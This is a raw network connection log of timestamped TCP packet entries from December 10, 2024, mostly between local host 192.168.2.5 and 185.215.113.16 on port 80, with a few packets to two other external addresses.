Dec 10, 2024 05:10:28.914948940 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.915489912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.915538073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.915689945 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.915730953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.916712999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.916759968 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.916913033 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.916960001 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.917903900 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.917953014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.918064117 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.918107986 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.918775082 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.918816090 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.918840885 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.918880939 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.919943094 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.919992924 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.920047045 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.920093060 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.921180010 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.921228886 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.921258926 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.921299934 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.922374964 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.922420979 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.922480106 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.922523022 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.923589945 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.923646927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.923686028 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.923728943 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.924820900 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.924866915 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.924927950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.924971104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.926034927 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.926090956 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.926100969 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.926143885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.927223921 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.927270889 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.927345037 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.927390099 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.928462029 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.928503990 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.928569078 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.928607941 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.929672956 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.929718018 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.929754019 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.929794073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.930902004 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.930946112 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.930979013 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.931022882 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.932125092 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.932171106 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.932177067 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.932205915 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.933315039 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.933367014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.933415890 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.933460951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.934546947 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.934597015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.934632063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.934676886 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.935767889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.935816050 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.935856104 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.935893059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.936983109 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.937001944 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.937028885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.937041044 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.997827053 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:28.997983932 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:28.998224974 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:29.052289009 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.052308083 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.052346945 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.052381039 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.052546024 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.052580118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.052886009 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.052927971 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.053082943 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.053123951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.054335117 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.054347038 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.054382086 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.055422068 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.055468082 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.068541050 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.068594933 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.068599939 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.068641901 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.069006920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.069050074 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.069118977 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.069159985 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.070024014 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.070069075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.070137978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.070198059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.071070910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.071115017 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.071177959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.071223974 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.072082996 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.072124004 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.072176933 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.072221994 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.073100090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.073163986 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.073198080 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.073244095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.074116945 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.074176073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.074261904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.074312925 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.075143099 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.075267076 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.075339079 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.076164007 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.076210976 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.076248884 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.076289892 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.077187061 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.077229023 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.077290058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.077332020 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.078203917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.078248024 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.078300953 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.078344107 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.079220057 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.079268932 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.079323053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.079363108 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.080276966 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.080317974 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.080353975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.080394030 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.081275940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.081322908 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.081371069 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.081410885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.082283020 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.082324982 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.082406044 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.082446098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.083311081 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.083359003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.083415985 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.083452940 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.084338903 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.084384918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.084449053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.084491014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.085359097 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.085401058 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.085458040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.085499048 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.086400032 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.086445093 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.086529016 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.086570024 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.087428093 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.087476015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.087507963 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.087557077 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.088433981 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.088545084 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.088598013 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.089457035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.089564085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.089615107 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.090477943 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.090600014 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.090651035 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.091501951 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.091610909 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.091669083 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.092519999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.092582941 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.092617035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.093543053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.093596935 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.093599081 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.094593048 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.094650030 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.094690084 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.094729900 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.095601082 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.095721006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.095767975 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.096628904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.096735001 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.096779108 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.097646952 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.097695112 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.097731113 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.098655939 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.098710060 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.098762035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.099081993 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.099701881 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.099808931 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.099853992 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.100827932 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.100939035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.100987911 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.101742983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.101798058 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.101830959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.102787971 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.102840900 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.102871895 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.103079081 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.103796005 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.103857040 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.103914976 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.103957891 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.104831934 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.104892015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.104923010 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.104969025 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.105829000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.105938911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.105994940 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.106861115 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.106957912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.107014894 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.107872009 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.107989073 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.108077049 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.109038115 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.109086990 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.109165907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.110367060 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.110378981 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.110418081 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.110944033 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.111064911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.111083031 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.111112118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.112020969 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.112078905 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.112126112 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.112991095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.113101006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.113145113 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.114007950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.114108086 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.114160061 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.115046024 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.115098953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.115171909 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.116063118 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.116117001 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.116221905 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.117120981 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.117151022 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.117170095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.117196083 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.117433071 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:29.118161917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.118211985 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.118221045 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.118266106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.135337114 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.135546923 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.136956930 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.136967897 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.137170076 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.138417006 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.138433933 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.138473988 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.244322062 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.244405031 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.244505882 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.244558096 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.244802952 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.244849920 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.244919062 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.244965076 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.245791912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.245839119 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.245923996 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.245968103 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.246795893 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.246844053 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.260678053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.260822058 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.260848045 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.260893106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.261188030 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.261234999 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.261346102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.261389971 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.262213945 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.262260914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.262295008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.262340069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.263221979 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.263267994 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.263334990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.263376951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.264234066 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.264281034 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.264368057 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.264415026 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.265285969 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.265338898 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.265381098 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.265420914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.266277075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.266320944 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.266374111 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.266418934 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.267291069 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.267338037 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.267391920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.267437935 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.268537045 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.268579960 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.268629074 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.268675089 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.269447088 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.269490957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.269563913 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.269608021 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.270379066 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.270417929 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.270498991 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.270543098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.271537066 CET	80	49874	185.215.113.16	192.168.2.5
